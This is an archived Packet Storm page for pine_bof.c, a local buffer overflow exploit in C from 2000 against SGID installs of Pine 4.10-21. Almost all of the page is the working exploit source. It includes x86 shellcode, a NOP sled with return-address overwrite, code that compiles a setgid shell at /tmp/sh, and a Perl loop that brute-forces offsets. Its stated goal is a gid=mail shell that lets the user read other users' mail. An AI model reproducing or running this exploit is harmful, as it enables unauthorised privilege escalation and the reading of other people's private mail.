exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

pine_bof.c

pine_bof.c
Posted Jun 19, 2000
Authored by vade79, realhalo

Pine v4.10-21 local buffer overflow - drops a gid=mail shell if /usr/bin/pine is SGID. Tested on Debian slink2.1.

tags | exploit, overflow, shell, local
systems | linux, debian
SHA-256 | 7764b61d5684322567f4c2b7d67debaf0db0e2c30bbcecd3de3c2f2533e14b92

pine_bof.c

Change Mirror Download
/* (linux)pine[v4.10-21] buffer overflow, by v9[v9@fakehalo.org].  this will
give you a gid=mail shell if /usr/bin/pine is SGID(=2755). pine seems to
have some sort of alarm on this function when you overflow it - even if you
launch a shell it exits with an alarm timeout very quickly. so, with the
very limited time this program has to run it will write a shell to
/tmp/sh(by default) and setgid(mail) itself when pine runs shellcode.

tests: slackware3.6(non-sgid default) : used default offset. (-500)
slackware7.0(non-sgid default) : used default offset. (-500)
debian slink2.1(sgid-mail default): used default offset. (-500)

threat: pretty much just reading other users mail. (like you can debian
slink's default install)

notes: you must get to the "MAIN MENU" of pine before it overflows. so, if
it's youre first time running it you'll have to go through the opening
garbage. also, remember things tend to get buggy after this program
runs. yes, i know this isn't very clean. :)

pine notes: pine was never meant to be sgid mail or have any sort of
privileges. but, it seems some people just didn't listen and is
sgid mail on some distributions(like debian slink is)/servers.
(although, pine should take some of the responsibility)

here is the generic perl script(nothing new here):

#!/usr/bin/perl
$i=$ARGV[0];
while(1){
print "offset: $i.\n";
system("./pine_bof $i");
$i+=100;
} */

#include <stdio.h>
#define MAILGID 12 // group id of mail. (8 on deb[slink])
#define ALIGN 3 // alignment. (prolly don't need to change this)
#define PATH "/usr/bin/pine" // path to setgid pine.
#define CCPATH "/usr/bin/cc" // path to compiler.
#define SHELLNAME "/tmp/sh" // shouldn't change the size of this. (7char)
#define DEFAULT_OFFSET -500 // as usual, make it easy for the user. :/

static char exec[]=
"\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3"
"\x00" // this will be the mail gid.
"\xcd\x80\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
"\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"
"\xcd\x80\xe8\xd2\xff\xff\xff"
SHELLNAME // make sgid program/shell.
"\x01"; // my favorite charcter.

long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char bof[1036],ccname[32],cc[64];
int i,offset,gid=MAILGID;
long ret;
FILE *shell;
sprintf(ccname,"%s.c",SHELLNAME);
shell=fopen(ccname,"w");
fprintf(shell,"main(){system(\"chgrp %d %s;chmod 2755 %s;echo %s: self-functioning sgid=mail shell.\");setgid(%d);system(\"/bin/sh\");}\n",gid,SHELLNAME,SHELLNAME,SHELLNAME,gid);
fclose(shell);
sprintf(cc,"%s %s -o %s",CCPATH,ccname,SHELLNAME);
system(cc);
if(unlink(ccname)){printf("%s: failed removing shell source. (%s)\n",argv[0],ccname);}
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
ret=(esp()-offset);
exec[10]=gid; // fill in with the gid.
for(i=ALIGN;i<1027;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(1027-strlen(exec)-200);i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
printf("[ return address: 0x%lx, offset: %d, size: %d(sc=%d). ]\n",ret,offset,strlen(bof),strlen(exec));
sleep(1); // so you can see the ret, offset & size.
if(execlp(PATH,"pine","-f",bof,0)){
printf("%s: execution failed, maybe %s is non-existant?\n",argv[0],PATH);
exit(-1);
}
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close